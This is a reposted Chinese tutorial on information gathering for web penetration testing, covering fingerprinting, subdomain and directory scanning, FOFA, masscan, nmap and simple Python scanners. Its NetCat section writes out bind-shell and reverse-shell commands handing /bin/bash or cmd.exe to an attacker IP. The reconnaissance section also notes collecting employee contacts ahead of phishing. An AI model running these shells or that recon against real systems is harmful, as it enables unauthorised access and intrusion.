当前位置: 首页 > news >正文

Web漏洞挖掘篇(二)—信息收集

書接上回:WEB漏洞挖掘篇(一) 基本概念、十大常見WEB漏洞-CSDN博客

建議資源:

VMware虛擬機:https://www.techspot.com/downloads/189-vmware-workstation-for-windows.html#google_vignette

win12:https://windows-12.en.softonic.com/

kali:Get Kali | Kali Linux


引言

        在網路安全領域,無論是滲透測試還是紅隊行動,資訊收集都是整個過程中最至關重要、奠定基礎的階段。正所謂“知己知彼,百戰不殆”,掌握的目標資訊越多,後續的行動就越順利。本文將系統性地剖析資訊收集的五大核心要素,並深入講解從手動技巧到自動化工具的高級實戰方法。



目录

引言

一、核心目標:收集五大關鍵要素

二、手動資訊收集技巧

        2.1  操作系統與中間件識別

        2.2  語言腳本探測

         2.2.1  搜索引擎技巧

        2.3  源碼資訊(CMS)識別

        2.3.1  查看網頁源碼

        2.3.2  開發者工具調試器

        2.4  數據庫類型探測

三、域名與目錄資訊收集

        3.1 後台入口發現

        3.2  子域名挖掘

        3.3  目錄與敏感文件掃描

四、瑞士軍刀:NetCat (NC) 

        4.1  常用參數:

        4.2  實戰應用

        4.2.1  端口掃描

        4.2.2  Banner 抓取(深入掃描)

        4.2.3  遠程後門(Bind Shell)

        4.2.4  文件傳輸

        4.2.5  反向連接(Reverse Shell) - 繞過防火牆

五、自動化資訊收集

        5.1  瀏覽器插件 - Wappalyzer

        5.2  網路空間搜索引擎

        5.3  社工資訊收集

六、高級掃描工具

        6.1 Masscan - 最快的端口掃描器

        6.2  Nmap - 最全面的網路映射器

七、Python 資訊收集實戰

        7.1  域名解析為 IP

        7.2  WHOIS 資訊查詢

        7.3  子域名爆破(需字典文件 dict.txt)

        7.4  簡易端口掃描器

        7.5  線程端口掃描

八、小結


一、核心目標:收集五大關鍵要素

        一次成功的資訊收集旨在全面描繪目標系統的畫像,主要圍繞以下五個方面展開:

  1. 操作系統(OS):如 Windows Server、Debian、Ubuntu、CentOS 等。

  2. 中間件(Web Server):如 IIS、Apache、Nginx、Tomcat 等。

  3. 語言腳本:如 PHP、ASP、ASPX、JSP 等。

  4. 源碼資訊:如 WordPress、Discuz!、Drupal、ThinkPHP 等知名 CMS 或框架。

  5. 數據庫(DB):如 MySQL、Microsoft SQL Server、Oracle、PostgreSQL 等。

二、手動資訊收集技巧

        2.1  操作系統與中間件識別

最簡單直接的方法:瀏覽器開發者工具

  1. 訪問目標網站。

  2. 按 F12 打開開發者工具。

  3. 切換到 “網路”(Network) 選項卡。

  4. 刷新頁面,查看任意 HTTP 請求的響應頭中的 Server 或 X-Powered-By 字段。

    • Server: Microsoft-IIS/10.0 → Windows Server

    • Server: Apache/2.4.29 (Ubuntu) → Ubuntu Linux

    • X-Powered-By: PHP/7.2.24 → PHP

        網上一查就會知道源碼信息是WordPress了

        2.2  語言腳本探測

         2.2.1  搜索引擎技巧

        在 Bing 中搜索:<target.com> *.php。如果返回了大量結果,說明網站很可能使用 PHP 開發。同理,可嘗試 *.asp*.jsp*.aspx

        2.3  源碼資訊(CMS)識別

        2.3.1  查看網頁源碼
  1. 在頁面空白處右鍵,選擇“查看頁面源代碼”。

  2. 查看 <head> 區域的 <meta> 標籤、引入的 CSS/JS 文件路徑、註釋等資訊。

  3. 滑動到頁面最底部,很多網站會直接標明 “Powered by XXX”。

        2.3.2  開發者工具調試器
  1. 按 F12 打開開發者工具。

  2. 切換到 “調試器”(Debugger) 或 “源代碼”(Sources) 選項卡。

  3. 查看引用的核心 JavaScript 或 CSS 文件的目錄名、文件名,這些往往是 CMS 的名稱(如 /wp-content/ 即 WordPress)。

        2.4  數據庫類型探測

        不同的數據庫默認運行在特定的端口上。掃描目標服務器開放端口是識別數據庫類型的高效方法。

  • MySQL → 3306

  • MSSQL → 1433

  • Oracle → 1521

  • PostgreSQL → 5432

  • Redis → 6379

實戰方法:使用在線端口掃描網站(如 tool.chinaz.com/port)或本地工具(如 Nmap),輸入目標 IP 或域名,檢測上述端口的開放狀態。(盡量多用不同的掃描網站,成功的機會更大)

三、域名與目錄資訊收集

        3.1 後台入口發現

網站後台通常是安全防禦的薄弱點。常見後台路徑如下:

  • /admin/

  • /login/

  • /manage/

  • /wp-admin/ (WordPress)

  • /administrator/ (Joomla)

        3.2  子域名挖掘

        主域名(如 jd.com)防禦堅固,但其子域名(如 person.jd.comdev.jd.com)可能安全性較低,是絕佳的突破口。

實戰方法:使用子域名查詢工具或網站:

  • 在線工具subdomain.topsearchdns.netcraft.comdnsdumpster.com

  • 本地工具subDomainsBruteSublist3rOneForAll

        3.3  目錄與敏感文件掃描

        使用工具對網站目錄進行暴力猜解,旨在發現隱藏的目錄、備份文件(.bak.zip)、配置文件(config.php)、日誌文件等。

推薦工具

  • 御劍:經典的目錄掃描工具,圖形化界面,易於使用。

  • 7kbscan:速度較快的Web路徑掃描器。

  • DirBuster / Gobuster:Kali Linux 下的強大目錄掃描工具。

成功標誌:掃描到登入後台、文件上傳點、配置文件等關鍵路徑。

四、瑞士軍刀:NetCat (NC) 

NetCat 是網路診斷和開發的最終工具,被譽為“TCP/IP 瑞士軍刀”。

        4.1  常用參數:

  • -l:監聽模式

  • -p:指定端口

  • -v:顯示詳細輸出

  • -n:直接使用 IP 地址,不進行 DNS 解析

  • -z:零 I/O 模式,用於掃描

  • -e:執行程式(後門功能的關鍵)

        4.2  實戰應用

        4.2.1  端口掃描
# 掃描目標IP的指定端口範圍
nc -nvv -w 1 -z 192.168.1.100 1-100
        4.2.2  Banner 抓取(深入掃描)
# 連接80端口並獲取Web服務資訊
echo "" | nc -nv 192.168.1.100 80
        4.2.3  遠程後門(Bind Shell)
  • 目標機子(執行)

     nc -lvp 6666 -e /bin/bash     (Linux) 

      nc.exe -lvp 6666 -e cmd.exe (Windows 且該目錄下需要有nc.exe等等文件)

  • 攻擊者機子(連接)

                  nc 192.168.1.100 6666

目標機子打開6666端口,一但有人連接到6666端口就會把cmd或/bin/bash交給對方

​​​​​​​結果:攻擊者獲得目標機器的一個遠程命令行 shell。即攻擊者可以操控目標機子的cmd

        4.2.4  文件傳輸
  • 接收端(服務端)nc -lvp 6666 > received_file.txt(命名)

  • 發送端(客戶端)nc -nv 192.168.1.100 6666 < file_to_send.txt(指定文件名)

客戶端打開6666端口,當有人連接到6666端口時就會把指定文件傳送到該機子,並命名存儲

        4.2.5  反向連接(Reverse Shell) - 繞過防火牆
  • 攻擊者(監聽)nc -lvp 9999

  • 目標機子(連接)nc -e /bin/bash 10.0.0.1 9999 (假設 10.0.0.1 是攻擊者 IP)

變成攻擊者打開9999端口,當目標機子連接到9999端口時,就會把/bin/bash傳送給攻擊者。

​​​​​​​結果:目標機子主動連接到攻擊者,攻擊者獲得 shell。

五、自動化資訊收集

        5.1  瀏覽器插件 - Wappalyzer

        在火狐上安裝此插件後,訪問任何網站,它都會自動分析並顯示其使用的技術棧,包括 CMS、編程語言、Web 服務器、JavaScript 框架等。

        5.2  網路空間搜索引擎

        這些引擎可以對全球互聯網設備進行檢索,是資訊收集的“大殺器”。順便一提,大部份都是要課金的喔(主要用FOFA就行了)

  • FOFAfofa.so

    • 語法:domain="baidu.com"(域名)app="ThinkPHP"(程序)port="9000"(端口)city="Beijing"(地區)……

  • Shodanshodan.io - 側重於服務器、IoT 設備資訊。

  • ZoomEyezoomeye.org - 中國的網路空間搜索引擎。

  • 360 Quakequake.360.cn - 360 推出的網路空間安全搜索引擎。

        5.3  社工資訊收集

愛企查 / 企查查:用於收集目標企業的組織架構、員工郵箱、電話號碼等資訊,為釣魚攻擊做準備。(也是需要課金的)

六、高級掃描工具

        常規用法是先用masscan大範圍掃描,再以nmap精確打撃

        6.1 Masscan - 最快的端口掃描器

        用於超大規模、快速的端口掃描。不過結果可能不精準(太快了)

# 掃描一個網段的所有80端口
sudo masscan -p 80 192.168.2.0/24
# 掃描指定IP範圍的裝置的80-90端口
sudo masscan -p 80-90 --range 192.168.2.1-192.168.2.255
# 探測網段記憶活的主機
sudo masscan --ping 192.168.2.0/24
# 調整速度(太快可能會出錯)
sudo masscan -p 80 192.168.2.0/24 --rate=10000

        6.2  Nmap - 最全面的網路映射器

        用於端口掃描、服務版本探測、操作系統識別等深度掃描。(精準打撃,但比較慢)

# 基礎掃描
nmap 192.168.1.100
# 服務版本探測
nmap -sV 192.168.1.100
# 操作系統探測
nmap -O 192.168.1.100
# 指定端口掃描
nmap -p 80,443,3306 192.168.1.100
# 將結果輸出到文件
nmap -O -sV 192.168.1.100 -oN result.txt

七、Python 資訊收集實戰

        自動化是提升效率的關鍵。以下是一些簡單的 Python 腳本示例。

        7.1  域名解析為 IP

import socket
hostname = 'vivo.com.cn'
ip = socket.gethostbyname(hostname)
print(f"[+] {hostname} 的 IP 地址是: {ip}")

        7.2  WHOIS 資訊查詢

import whois
def whois_check(domain):try:w = whois.whois(domain)print(f"註冊人: {w.name}")print(f"註冊郵箱: {w.emails}")print(f"註冊商: {w.registrar}")print(f"註冊時間: {w.creation_date}")except Exception as e:print(f"查詢失敗: {e}")whois_check("vivo.com.cn")

        7.3  子域名爆破(需字典文件 dict.txt

import socket
import timedef check_subdomain(domain):with open("dict.txt", "r") as f:for sub in f:sub = sub.strip()url = f"{sub}.{domain}"try:ip = socket.gethostbyname(url)print(f"[+] Found: {url} -> {ip}")except socket.gaierror:print(f"[-] Not Found: {url}")time.sleep(0.5) # 避免請求過快check_subdomain("vivo.com.cn")

        7.4  簡易端口掃描器

import socketdef port_scan(ip, port):sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sk.settimeout(0.5)result = sk.connect_ex((ip, port)) # 返回0表示成功sk.close()return result == 0target_ip = "127.0.0.1"
for port in [80, 443, 3306, 3389]:if port_scan(target_ip, port):print(f"[+] Port {port} is OPEN")else:print(f"[-] Port {port} is CLOSED")

        7.5  線程端口掃描

import socket
import sys
import threading
import queue
import time
def get_ip(name):ip = socket.gethostbyname(name)return ip
def port_test(ip):# 創建socket對象 默認为TCP連接# sk = socket.socket(網絡類型,socket類型)# socket.AF_INET:ipv4, socket.SOCK_STREAM:tcp連接# 建⽴鏈接 連接失敗 則報錯while True:if q.empty():breaksk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)port = q.get()try:# 獲取隊列中的端⼝sk.connect((ip,port))print(ip,':',port,'----連接成功')except: # 捕獲異常print(port,'失敗')pass# 關閉連接sk.close()time.sleep(1)
# python .\py5.py 127.0.0.1 1000
if __name__ == '__main__':ip = sys.argv[1]th_nums = int(sys.argv[2])# ip = get_ip(yuming)# 創建⼦線程# 創建線程隊列q = queue.Queue()for i in range(1,65535):q.put(i)for i in range(th_nums):t = threading.Thread(target=port_test,args=(ip,)) t.start()

八、小結

        資訊收集是一個反覆循環、逐步深入的過程。本文介紹的方法和工具僅是冰山一角,但其核心思想是相通的:由外到內,由粗到精,多源印證,持續進行。真正的安全工程師會根據目標情況靈活組合這些技巧,構建出完整的目標畫像,從而為後續的漏洞探測和滲透打開突破口。

注意:請務必在獲得授權的前提下進行所有安全測試活動,遵守法律法規。



文章转载自:

http://p87QwlHZ.Lkbws.cn
http://YVqNgvdR.Lkbws.cn
http://MHcD80Nc.Lkbws.cn
http://ve8Y0wP4.Lkbws.cn
http://Ux3vNPNh.Lkbws.cn
http://nLKkjvla.Lkbws.cn
http://g5Szzo0f.Lkbws.cn
http://AjEJAunj.Lkbws.cn
http://IVJqhzo9.Lkbws.cn
http://R3SOa70v.Lkbws.cn
http://podPZkHK.Lkbws.cn
http://nkYxlgLK.Lkbws.cn
http://z5d0gj3q.Lkbws.cn
http://ocsKwBwJ.Lkbws.cn
http://1mffBOpD.Lkbws.cn
http://EkKtjDYy.Lkbws.cn
http://JrehAywa.Lkbws.cn
http://Rv6lJPBx.Lkbws.cn
http://OiTfVe9Q.Lkbws.cn
http://Yw5E51T4.Lkbws.cn
http://Zn0c9bRx.Lkbws.cn
http://3fTDgK4W.Lkbws.cn
http://Jkf7dV06.Lkbws.cn
http://eZa5vgyP.Lkbws.cn
http://2EPtkQah.Lkbws.cn
http://yOJvP26m.Lkbws.cn
http://eMW9o18N.Lkbws.cn
http://M2vXd109.Lkbws.cn
http://Br3qTSp7.Lkbws.cn
http://3KxPd7Xn.Lkbws.cn
http://www.dtcms.com/a/370229.html

相关文章:

  • 从零开始的python学习——文件
  • ThreadLocal 深度解析:原理、应用场景与最佳实践
  • Error metrics for skewed datasets|倾斜数据集的误差指标
  • 前端错误监控:如何用 Sentry 捕获 JavaScript 异常并定位源头?
  • 9.6 前缀和
  • 快捷:常见ocr学术数据集预处理版本汇总(适配mmocr)
  • Linux系统检测硬盘失败解救方法
  • 内网后渗透攻击--linux系统(横向移动)
  • 【软考架构】第二章 计算机系统基础知识:计算机网络
  • equals 定义不一致导致list contains错误
  • Qt编程之信号与槽
  • uv教程 虚拟环境
  • 残差网络 迁移学习对食物分类案例的改进
  • VBA之Excel应用第四章第七节:单元格区域的整行或整列扩展
  • 【Flask】测试平台开发,数据看板开发-第二十一篇
  • [光学原理与应用-433]:晶体光学 - 晶体光学是研究光在单晶体中传播规律及其伴随现象的分支学科,聚焦于各向异性光学媒质的光学特性
  • C++面试10——构造函数、拷贝构造函数和赋值运算符
  • PID控制技术深度剖析:从基础原理到高级应用(六)
  • 登录优化(双JWT+Redis)
  • 【基础-单选】在下面哪个文件中可以设置页面的路径配置信息?
  • C++ 内存模型:用生活中的例子理解并发编程
  • 【3D图像算法技术】如何在Blender中对复杂物体进行有效减面?
  • 电脑音频录制 | 系统麦克混录 / 系统声卡直录 | 方法汇总 / 常见问题
  • 论文阅读:VGGT Visual Geometry Grounded Transformer
  • 用 PHP 玩向量数据库:一个从小说网站开始的小尝试
  • [光学原理与应用-432]:非线性光学 - 既然光也是电磁波,为什么不能直接通过电生成特定频率的光波?
  • python调用mysql
  • redis-----事务
  • 集成学习(随机森林算法、Adaboost算法)
  • 形式化方法与安全模型